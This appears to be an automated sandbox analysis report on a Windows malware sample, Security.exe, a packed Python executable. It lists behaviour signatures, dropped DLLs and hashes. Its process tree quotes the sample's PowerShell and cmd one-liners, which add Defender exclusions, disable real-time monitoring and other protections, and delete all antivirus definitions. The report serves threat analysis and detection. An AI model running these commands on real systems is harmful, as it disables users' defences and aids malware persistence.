Analysis

  • user interaction
    yes
  • max time kernel
    5s
  • max time network
    14s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/09/2026, 12:04

General

  • Target
    Security.exe
  • Size 5.9MB
  • Sample260914-n82dback5z
  • SHA256 a36e45aeaf9720a31093e8f6398a91de4837128bb4bbdd3de6bda1a4dfdb53ba
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 41 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Security.exe
    "C:\Users\Admin\AppData\Local\Temp\Security.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Users\Admin\AppData\Local\Temp\Security.exe
      "C:\Users\Admin\AppData\Local\Temp\Security.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Security.exe'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Security.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4528
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:5808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ​‏ .scr'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ​‏ .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5980

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
        • MD5 SHA1 SHA512 TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\VCRUNTIME140.dll
        • Size 95KB
        • SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_bz2.pyd
        • Size 47KB
        • SHA256 055a93c8b127dc840ac40ca70d4b0246ac88c9cde1ef99267bbe904086e0b7d3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_ctypes.pyd
        • Size 58KB
        • SHA256 644712c3475be7f02c2493d75e6a831372d01243aca61aa8a1418f57e6d0b713
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _decimal.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_decimal.pyd
        • Size 106KB
        • SHA256 f281bd8219b4b0655e9c3a5516fe0b36e44c28b0ac9170028dd052ca234c357c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_hashlib.pyd
        • Size 35KB
        • SHA256 b16c0cc3baa67246d8f44138c6105d66538e54d0afb999f446cae58ac83ef078
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_lzma.pyd
        • Size 85KB
        • SHA256 fc57bd20b6b128afa5faaac1fd0ce783031faaf39f71b58c9cacf87a16f3325f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_queue.pyd
        • Size 25KB
        • SHA256 cc275b2b053410c6391339149baf5b58df121a915d18b889f184be02bedaf9bc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_socket.pyd
        • Size 42KB
        • SHA256 5d8c8186df42633679d6236c1febf93db26405c1706f9b5d767feab440ea38b0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_sqlite3.pyd
        • Size 50KB
        • SHA256 e168a1e229f57248253ead19f60802b25dc0dbc717c9776e157b8878d2ca4f3d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\_ssl.pyd
        • Size 62KB
        • SHA256 cae09bbbb12aa339fd9226698e7c7f003a26a95390c7dc3a2d71a1e540508644
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\base_library.zip
        • Size 859KB
        • SHA256 70846cdc65a7badd6ac5b7737ee10a2e6bbd6dea2d84acc9314a42a50589bab5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\blank.aes
        • Size 54KB
        • SHA256 d337f4e4562f5d3ce611175077b53e1b6bca816a7e53813fe9768685e8fd1381
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\libcrypto-1_1.dll
        • Size 1.1MB
        • SHA256 9a36e09f111687e6b450937bb9c8aede7c37d598b1cccc1293eed2342d11cf47
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-7.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\libffi-7.dll
        • Size 23KB
        • SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\libssl-1_1.dll
        • Size 204KB
        • SHA256 2af3d965863018c66c2a9a2d66072fe3657bbd0b900473b9bbdcac8091686ae1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python310.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\python310.dll
        • Size 1.4MB
        • SHA256 bec187f608507b57cf0475971ba646b8ab42288af8fdcf78bce25f1d8c84b1da
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rar.exe

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\rar.exe
        • Size 615KB
        • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rarreg.key

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\rarreg.key
        • Size 456B
        • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
        • MD5 SHA1 SHA512 TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\select.pyd
        • Size 25KB
        • SHA256 84b2119ed6c33dfbdf29785292a529aabbf75139d163cfbcc99805623bb3863c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sqlite3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\sqlite3.dll
        • Size 622KB
        • SHA256 983f31bc687e0537d6028a9a65f4825cc560bbf3cb3eb0d3c0fcc2238219b5ed
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004502\unicodedata.pyd
        • Size 289KB
        • SHA256 58605600fdaafbc0052a4c1eb92f68005307554cf5ad04c226c320a1c14f789e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_0z205hwo.2ig.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0z205hwo.2ig.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2608-123-0x000001DF2EBF0000-0x000001DF2EBFA000-memory.dmp

        memory/4308-58-0x00007FFF822E0000-0x00007FFF822FF000-memory.dmp

        memory/4308-50-0x00007FFF82330000-0x00007FFF82348000-memory.dmp

        memory/4308-60-0x00007FFF82160000-0x00007FFF822DA000-memory.dmp

        memory/4308-62-0x00007FFF82140000-0x00007FFF82159000-memory.dmp

        memory/4308-64-0x00007FFF82130000-0x00007FFF8213D000-memory.dmp

        memory/4308-66-0x00007FFF82100000-0x00007FFF8212E000-memory.dmp

        memory/4308-68-0x00007FFF6B510000-0x00007FFF6B976000-memory.dmp

        memory/4308-69-0x00007FFF76560000-0x00007FFF76618000-memory.dmp

        memory/4308-72-0x00007FFF82360000-0x00007FFF82384000-memory.dmp

        memory/4308-74-0x0000026F4C2D0000-0x0000026F4C649000-memory.dmp

        memory/4308-73-0x00007FFF6B190000-0x00007FFF6B509000-memory.dmp

        memory/4308-76-0x00007FFF80310000-0x00007FFF80325000-memory.dmp

        memory/4308-78-0x00007FFF820D0000-0x00007FFF820DD000-memory.dmp

        memory/4308-83-0x00007FFF72EA0000-0x00007FFF72FB8000-memory.dmp

        memory/4308-82-0x00007FFF822E0000-0x00007FFF822FF000-memory.dmp

        memory/4308-137-0x00007FFF82360000-0x00007FFF82384000-memory.dmp

        memory/4308-32-0x00007FFF82350000-0x00007FFF8235F000-memory.dmp

        memory/4308-136-0x00007FFF6B510000-0x00007FFF6B976000-memory.dmp

        memory/4308-135-0x0000026F4C2D0000-0x0000026F4C649000-memory.dmp

        memory/4308-52-0x00007FFF82300000-0x00007FFF8232C000-memory.dmp

        memory/4308-124-0x00007FFF82160000-0x00007FFF822DA000-memory.dmp

        memory/4308-125-0x00007FFF82140000-0x00007FFF82159000-memory.dmp

        memory/4308-31-0x00007FFF82360000-0x00007FFF82384000-memory.dmp

        memory/4308-25-0x00007FFF6B510000-0x00007FFF6B976000-memory.dmp

        memory/4308-132-0x00007FFF82100000-0x00007FFF8212E000-memory.dmp

        memory/4308-133-0x00007FFF76560000-0x00007FFF76618000-memory.dmp

        memory/4308-134-0x00007FFF6B190000-0x00007FFF6B509000-memory.dmp

        memory/4528-121-0x000001FB1E840000-0x000001FB1E8F2000-memory.dmp

        memory/4528-114-0x000001FB1E820000-0x000001FB1E83E000-memory.dmp

        memory/5980-86-0x00000192BE6D0000-0x00000192BE6F2000-memory.dmp